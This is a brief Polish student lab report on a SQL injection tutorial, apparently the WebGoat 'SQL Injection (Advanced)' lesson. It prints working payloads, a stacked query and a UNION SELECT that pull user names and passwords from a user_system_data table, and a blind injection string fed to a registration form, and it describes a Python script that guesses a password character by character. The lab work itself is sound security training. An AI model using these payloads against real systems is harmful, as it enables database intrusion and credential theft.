# RAPORT

# ZAD 6

Piotr Szymański

Zadanie

Wykonanie  tutoriala odnośnie Injection Flaws

Wykonanie tutoriala: SQL Injection (Advanced)

W punkcie trzecim zdobycie danych za pomocą drugiego selecta jak i union:

1. ' or 1=1; SELECT * FROM user_system_data;--

2. ' OR 1=1 UNION SELECT NULL, user_name, password, NULL, NULL, NULL, NULL FROM user_system_data;--

W punkcie 5 wydobycie hasła za pomocą wysyłania specyficznego query w zakładce register:

“tom' and substring(password,"+str(i)+",1) = '"+str(letters[j])+"' –”

Napisanie skryptu w pythonie, który wysyła to zapytanie dla każdej litery na każdym miejscu, jeśli litera się zgadza to strona zwraca taki tekst:

“User {0} already exists please try to register with a different username.”

Wtedy dodaję tą literkę do swojego stringa, który jest tworzącym się hasłem .

I dostaje hasło.